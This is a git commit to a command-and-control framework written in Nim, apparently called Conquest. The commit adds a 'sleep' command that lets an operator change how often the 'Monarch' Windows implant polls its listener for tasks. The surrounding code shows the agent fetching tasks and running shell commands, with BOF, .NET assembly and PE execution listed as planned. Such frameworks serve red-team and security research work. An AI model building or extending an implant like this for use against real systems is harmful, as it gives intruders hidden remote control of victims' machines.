Implemented sleep command to update sleep delay on agent

This commit is contained in:
Jakob Friedl
2025-05-28 10:39:30 +02:00
parent c03592c7fd
commit 4397f728de
11 changed files with 80 additions and 36 deletions

View File

@@ -26,7 +26,7 @@ proc main() =
echo "Missing agent configuration."
quit(0)
let config = AgentConfig(
var config = AgentConfig(
listener: ListenerUuid,
ip: ListenerIp,
port: ListenerPort,
@@ -60,7 +60,7 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
let result = task.handleTask()
let result = task.handleTask(config)
discard config.postResults(agent, result)
when isMainModule:

View File

@@ -1,3 +1,3 @@
import ./[shell]
import ./[shell, sleep]
export shell
export shell, sleep

View File

@@ -0,0 +1,14 @@
import os, strutils, strformat
import ../types
proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] =
echo fmt"Sleeping for {$delay} seconds."
try:
sleep(delay * 1000)
return ("\n", Completed)
except CatchableError as err:
return (fmt"An error occured: {err.msg}" & "\n", Failed)

View File

@@ -43,6 +43,7 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]:", err.msg
return false
finally:
client.close()
@@ -65,6 +66,7 @@ proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg
return false
finally:
client.close()

View File

@@ -1,11 +1,12 @@
import base64
import base64, strutils
import ./types
import ./commands/commands
proc handleTask*(task: Task): Task =
proc handleTask*(task: Task, config: AgentConfig): Task =
# Handle task command
case task.command:
of ExecuteShell:
let (output, status) = taskShell(task.args)
@@ -20,6 +21,27 @@ proc handleTask*(task: Task): Task =
status: status
)
of Sleep:
# Parse arguments
let delay: int = parseInt(task.args[0])
# Execute task
let (output, status) = taskSleep(delay)
# Update sleep delay in agent config
if status == Completed:
config.sleep = delay
# Return result
return Task(
id: task.id,
agent: task.agent,
command: task.command,
args: task.args,
result: encode(output),
status: status
)
else:
echo "Not implemented"
return nil

View File

@@ -1,28 +1,6 @@
import winim
type
TaskCommand* = enum
ExecuteShell = "shell"
ExecuteBof = "bof"
ExecuteAssembly = "dotnet"
ExecutePe = "pe"
TaskStatus* = enum
Created = "created"
Completed = "completed"
Pending = "pending"
Failed = "failed"
Cancelled = "cancelled"
TaskResult* = string
Task* = ref object
id*: string
agent*: string
command*: TaskCommand
args*: seq[string]
result*: TaskResult
status*: TaskStatus
import ../../server/types
export Task, TaskCommand, TaskResult, TaskStatus
type
ProductType* = enum
@@ -47,7 +25,7 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
wReserved*: UCHAR
type
AgentConfig* = object
AgentConfig* = ref object
listener*: string
ip*: string
port*: int

View File

@@ -1,5 +1,5 @@
import ./commands/[shell]
export shell
import ./commands/[shell, sleep]
export shell, sleep
#[
"Monarch" Agent commands:

View File

@@ -0,0 +1,21 @@
import nanoid, sequtils, strutils, strformat, terminal, times
import ../../types
proc taskExecuteSleep*(cq: Conquest, delay: int) =
# Create a new task
let
date: string = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
agent: cq.interactAgent.name,
command: Sleep,
args: @[$delay],
result: "",
status: Created
)
# Add new task to the agent's task queue
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[*] [{task.id}] ", resetStyle, "Tasked agent to update sleep settings.")

View File

@@ -13,6 +13,10 @@ var parser = newParser:
arg("command", help="Command", nargs = 1)
arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
command("sleep"):
help("Update sleep delay configuration.")
arg("delay", help="Delay in seconds.", nargs = 1)
command("help"):
nohelpflag()
@@ -44,7 +48,9 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
arguments: seq[string] = opts.shell.get.arguments
arguments.insert(command, 0)
cq.taskExecuteShell(arguments)
of "sleep":
cq.taskExecuteSleep(parseInt(opts.sleep.get.delay))
# Handle help flag
except ShortCircuit as err:
@@ -52,6 +58,6 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
cq.writeLine(err.help)
# Handle invalid arguments
except UsageError:
except CatchableError:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg(), "\n")

View File

@@ -52,7 +52,7 @@ var parser = newParser:
help("Generate a new agent to connect to an active listener.")
option("-l", "--listener", help="Name of the listener.", required=true)
option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") )
option("-p", "--payload", help="Agent type", choices = @["monarch"], default=some("monarch"))
option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"):
nohelpflag()

View File

@@ -14,6 +14,7 @@ type
ExecuteBof = "bof"
ExecuteAssembly = "dotnet"
ExecutePe = "pe"
Sleep = "sleep"
TaskStatus* = enum
Created = "created"